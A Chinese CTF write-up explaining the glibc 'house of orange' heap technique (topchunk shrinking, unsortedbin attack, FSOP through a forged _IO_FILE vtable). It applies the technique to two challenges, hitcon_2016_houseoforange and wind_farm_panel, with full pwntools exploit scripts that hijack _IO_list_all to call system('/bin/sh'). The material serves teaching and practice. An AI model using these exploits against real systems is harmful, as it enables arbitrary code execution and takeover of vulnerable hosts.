https://bbs.ichunqiu.com/thread-59550-1-1.html

概述

house of orange 特殊之处是题目没有 free 函数等释放堆块函数。house of orange 核心思想通过漏洞实现 free 的效果。

使用条件

  • 能控制 topchunk size 位(堆溢出等)
  • 能控制堆分配的大小

原理

当 topchunk 不能满足申请分配的大小时,topchunk 被释放进 unsortedbin ,实现没有 free 函数释放堆块。

扩展堆空间有 mmapbrk 两种方式,我们需要以 brk 拓展,需要绕过 libc 一些 check :malloc 申请大小不能大于 mmp_.mmap_threshold

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

总结伪造 topchunk 要求:

  • 伪造 size 需要对齐内存页

    比如现在 topchunk size 为:0x20fa1,那么对齐内存页的 size 可以为:0xfa1、0x1fa1……

  • size 要大于 MINSIZE
  • prev_inuse 为 1
  • size 要小于等等申请 chunk_size+MINISIZE (才能让 topchunk 放入 unsortedbin)

自此得到一个 unsortedbin 堆,用来泄露 libc 地址,实现 FSOP

hitcon_2016_houseoforange

基本情况

保护全开,实验环境在 Ubuntu16.04。

能自主控制分配堆大小,结构体如下:

struct{
  *info;
  chunk_ptr;
}
struct info{
  price;
  color;
}

在 edit 函数中存在堆溢出:

image-20201216230021762

思路

利用堆溢出将 topchunk size 改小,size 要求看前文。修改前 topchunk 和 heap 范围:

image-20201216231726321

修改后情况:

image-20201216231929179

之后申请一个大于 topchunk 的堆,topchunk 就被放入 unsortedbin :

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0

申请一个 largebin 用于泄露 libc 和 堆地址。用的 malloc 分配,libc 读取 bk 位置信息即可,分配的是 largebin 在 fd_nextsize 和 bk_nextsize 都存放堆地址分别读出即可。堆地址在 FSOP 伪造 vtable 需要用到。

自此后面就是 FSOP 利用。劫持在 libc 中的 _IO_list_all 内容,将其内容指向可控地址伪造 _IO_FILE_plus 和 vtabel 。默认状态下的 _IO_list_all 指向的是 _IO_2_1_stderr_ :

image-20201216232610931

利用堆溢出修改在 unsortedbin 的 topchunk fd bk 指针,发起 unsortedbin attack 劫持 _IO_list_all 。这里修改完 fd bk 之后申请一个堆,topchunk unlink 就会修改 _IO_list_all 指向到 main_arena+88 ,这个区域前后我们还是不能控制,就利用 _chain 标志位指向下一个文件流,这个标志位的位置刚好是 unsortedbin 0x60 链表位置。因此将 topchunk size 覆盖为 0x60 :

image-20201216234838174

执行 _IO_flush_all_lockp 时逐个遍历文件流,遇到错误文件就跳过去处理 _chain 指向的下一个文件流,因此现在 topchunk 里面伪造一个 _IO_FILE_plus 结构体。

需要设置几个标志位绕过保护:

mode_offset=0x0;
writeptr_offset=0x1;
writebase_offset=0x0;

然后将 vtable 指针劫持会 topchunk 特定位置,让 __overflow 为 system ,文件流(topchunk)头部覆盖为 /bin/sh 作为参数传入。

成功结构体如下:

image-20201217000607071

image-20201217000644542

EXP

from pwn import *
context(log_level='debug',arch='amd64')

# p = process("./houseoforange_hitcon_2016")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",29595)
libc = ELF("./libc-2.23.so")
elf = ELF("./houseoforange_hitcon_2016")

def command(id):
    p.recvuntil(": ")
    p.sendline(str(id))

def add(size, content, price, color):
    command(1)
    p.recvuntil("Length of name :")
    p.sendline(str(size))
    p.recvuntil("Name :")
    p.send(content)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")    
    p.sendline(str(color))

def show():
    command(2)

def edit(size, content, price, color):
    command(3)
    p.recvuntil("Length of name :")
    p.sendline(str(size))
    p.recvuntil("Name:")
    p.send(content)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

# step1 'free' 2 bin
add(0x18,'a'*8,0xddaa,0xddaa)
payload='a'*0x38+p64(0xfa1)
edit(len(payload),payload,0xddaa,0xddaa)
add(0x1000,'b'*8,0xddaa,0xddaa)
#0x555555758000     0x555555779000 rw-p    21000 0      [heap]
#0x555555758000     0x55555579b000 rw-p    43000 0      [heap]

# step2 leak libc
add(0x450,'c'*8,0xddaa,0xddaa)
show()
p.recvuntil('c'*8)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_addr = leak_addr-1640-0x3c4b20
log.info("libc_addr:"+hex(libc_addr))
IO_list_all=libc_addr+libc.sym['_IO_list_all']
log.info("IO_list_all:"+hex(IO_list_all))
system=libc_addr+libc.sym['system']

# step3 leak heap
payload = 'd' * 0x10
edit(0x10, payload,0xddaa,0xddaa)
show()
p.recvuntil('d'*0x10)
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))

# set fake struct
payload='d'*0x450+p64(0)+p64(0x21)+p64(0x0000ddaa00000003)+p64(0)
fake = '/bin/sh\x00'+p64(0x61)
fake += p64(0)+p64(IO_list_all-0x10)
fake += p64(0) + p64(1)
fake = fake.ljust(0xc0,'\x00')
fake += p64(0) * 3
fake += p64(heap_addr+0x558) #vtable
fake += p64(0) * 2
fake += p64(system)
payload += fake
edit(len(payload),payload,2,3)

#gdb.attach(p)

# unlink attack
p.recvuntil("Your choice : ")
p.sendline('1')

p.interactive()

参考文章

2020_纵横杯_wind_farm_panel

基本情况

十分明显的堆溢出:

int __fastcall edit(__int64 a1, __int64 a2)
{
  int v3; // [rsp+8h] [rbp-8h]

  printf("Please modify your personal information.\nWhich turbine: ");
  v3 = read_int("Please modify your personal information.\nWhich turbine: ", a2);
  if ( !*((_QWORD *)&area + v3) || v3 < 0 || v3 > 4 )
    return puts("Unvalidated Input");
  printf("Please input: ");
  read(0, *((void **)&area + v3), 0x1000uLL);   // 堆溢出
  return puts("Done");
}

思路

满足 house_of_orange 的条件:堆溢出能修改 topchunk size ;申请 size 限制范围大;没有 free 功能。

  1. 溢出修改 topchunk size ,申请大于 topchunk 的堆,将 topchunk 放入 unsortedbin ,然后泄露 libc 地址
  2. 修复 chunk_size&pre_size ,申请 larginbin 泄露 heap_addr
  3. FSOP
# overwrite topchunk size
add(0,0x88,'a'*0x88+p64(0xf71))
# frow topchunk into unsortedbin
add(1,0xfff,'b')

#leak libc
edit(0,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x3c4b20
log.info("libc_base:"+hex(libc_base))

申请 larginbin 之前,需要修复泄露 libc 破坏的 chunk_szie ,以后布置 prev_size :

# repair chunk_size&prev_size
payload = 'a'*0x88+p64(0xf71)+p64(libc_base+88+0x3c4b20)*2
payload += 'a'*0xf50+p64(0xf70)
edit(0,payload)
p.recvuntil("Done")

# larginbin leak heap addr
add(2,0x450,'c')
edit(0,'a'*0xa0)
show(2)
gdb.attach(p)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x90
log.info("heap_base:"+hex(heap_base))

EXP

from pwn import *
context(log_level='debug')

# p = remote("182.92.203.154",28452)
# libc = ELF("./libc-2.23.so")

p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn")

def command(id):
    p.recvuntil(">> ")
    p.sendline(str(id))
def add(id,size,content):
    command(1)
    p.recvuntil(": ")
    p.sendline(str(id))
    p.recvuntil(": ")
    p.sendline(str(size))
    p.recvuntil(": ")
    p.send(content)
def show(id):
    command(2)
    p.recvuntil(": ")
    p.sendline(str(id))
def edit(id,content):
    command(3)
    p.recvuntil(": ")
    p.sendline(str(id))
    p.recvuntil(": ")
    p.send(content)

# overwrite topchunk size
add(0,0x88,'a'*0x88+p64(0xf71))
# frow topchunk into unsortedbin
add(1,0xfff,'b')

#leak libc
edit(0,'a'*0x90)
show(0)
p.recvuntil('a'*0x90)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x3c4b20
log.info("libc_base:"+hex(libc_base))

# repair chunk_size&prev_size
payload = 'a'*0x88+p64(0xf71)+p64(libc_base+88+0x3c4b20)*2
payload += 'a'*0xf50+p64(0xf70)
edit(0,payload)
p.recvuntil("Done")

# larginbin leak heap addr
add(2,0x450,'c')
edit(0,'a'*0xa0)
show(2)
gdb.attach(p)
p.recvuntil('a'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x90
log.info("heap_base:"+hex(heap_base))
edit(0,'a'*0x88+p64(0x461))

IO_list_all=libc_base+libc.sym['_IO_list_all']
log.info("IO_list_all:"+hex(IO_list_all))
system=libc_base+libc.sym['system']

# FSOP
# set fake struct
#payload='a'*0x450+p64(0)+p64(0x21)+p64(0x0000ddaa00000003)+p64(0)
payload = 'b'*0x450
fake = '/bin/sh\x00'+p64(0x61)
fake += p64(0)+p64(IO_list_all-0x10)
fake += p64(0) + p64(1)
fake = fake.ljust(0xc0,'\x00')
fake += p64(0) * 3
fake += p64(heap_base+0x5c8) # vtable
fake += p64(0) * 2
fake += p64(system)
payload += fake

# payload = 'b'*0x458+p64(0x60)
edit(2,payload)

#gdb.attach(p,'b *$rebase(0xc2e)')

command(1)
p.recvuntil(": ")
p.sendline(str(3))
p.recvuntil(": ")
p.sendline(str(0x80))

p.interactive()
Last modification:January 26th, 2021 at 11:13 pm